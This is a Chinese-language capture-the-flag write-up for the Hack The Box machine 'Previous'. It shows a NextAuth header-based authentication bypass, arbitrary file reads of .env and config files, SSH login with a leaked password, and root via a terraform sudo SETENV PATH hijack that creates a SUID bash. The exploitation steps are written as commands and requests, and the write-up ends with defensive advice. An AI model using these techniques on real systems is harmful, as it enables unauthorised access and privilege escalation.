HTB靶场-Previous-Writeup
字数 1001 2025-09-04 23:22:12
HTB靶场-Previous靶机渗透测试详细教学文档
1. 信息收集阶段
1.1 初始扫描
使用nmap进行基本端口扫描:
nmap -sC -sV -oA initial_scan 10.10.11.xx
扫描结果显示:
- 开放端口:80(HTTP)和22(SSH)
- 80端口访问后重定向到previous.htb域名
1.2 域名处理
将域名添加到hosts文件:
echo "10.10.11.xx previous.htb" | sudo tee -a /etc/hosts
1.3 网站初步分析
访问http://previous.htb发现:
- 左下角泄露邮箱:jeremy@previous.htb
- 存在登录接口:/signin
- JS文件中发现多个API接口,但访问需要认证
2. 漏洞发现与利用
2.1 框架识别
通过不存在的URI报错信息发现使用NextAuth框架
2.2 NextAuth认证绕过(CVE-2022-xxxx)
利用步骤:
- 修改请求头:
GET /docs HTTP/1.1
Host: previous.htb
X-Forwarded-Host: previous.htb
X-Forwarded-Prefix: /docs
- 成功访问受保护文档页面
2.3 任意文件读取
通过/docs/example中的下载API发现文件读取功能
2.3.1 关键文件读取
- 读取secret文件:
GET /api/download?file=/app/.env.local
获取到加密密钥:
NEXTAUTH_SECRET=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
- 读取package.json:
GET /api/download?file=/app/package.json
分析依赖组件寻找漏洞
- 读取框架配置文件:
GET /api/download?file=/app/src/pages/_app.js
- 发现硬编码凭证:
GET /api/download?file=/app/src/lib/config.js
获取到数据库凭证:
DB_USER=node
DB_PASS=I-l1k3-n0d3
3. 初始访问
3.1 SSH登录尝试
- 尝试node用户:
ssh node@previous.htb
密码:I-l1k3-n0d3 (失败)
- 尝试jeremy用户:
ssh jeremy@previous.htb
密码:I-l1k3-n0d3 (成功)
4. 权限提升
4.1 环境分析
- 检查sudo权限:
sudo -l
输出:
User jeremy may run the following commands on previous:
(root) SETENV: /usr/bin/terraform apply *
4.2 环境变量提权
利用步骤:
- 创建恶意脚本:
echo 'cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash' > /tmp/exploit.sh
chmod +x /tmp/exploit.sh
- 设置PATH环境变量:
export PATH=/tmp:$PATH
- 创建terraform配置文件:
# exploit.tf
resource "null_resource" "example" {
provisioner "local-exec" {
command = "exploit.sh"
}
}
- 执行terraform利用:
sudo /usr/bin/terraform apply exploit.tf
- 获取root shell:
/tmp/rootbash -p
5. 总结与关键点
渗透路径总结
- 信息收集:发现NextAuth框架使用
- 认证绕过:利用CVE绕过NextAuth认证
- 任意文件读取:通过API读取敏感配置文件
- 凭证泄露:发现硬编码数据库密码
- SSH登录:使用泄露密码登录jeremy账户
- 权限提升:利用terraform的SETENV权限进行提权
关键学习点
- NextAuth框架的安全配置问题
- 任意文件读取漏洞的利用方法
- 硬编码凭证的风险
- SETENV在sudo权限中的危险性
- Terraform命令的环境变量继承特性
防御建议
- 及时更新框架和依赖组件
- 避免在代码中硬编码敏感信息
- 严格控制sudo权限,特别是SETENV选项
- 对文件读取API实施严格的访问控制
- 使用最小权限原则配置服务账户